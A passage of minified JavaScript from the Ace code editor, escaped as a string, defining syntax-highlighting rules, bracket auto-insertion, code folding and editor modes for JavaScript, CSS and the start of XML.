",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken: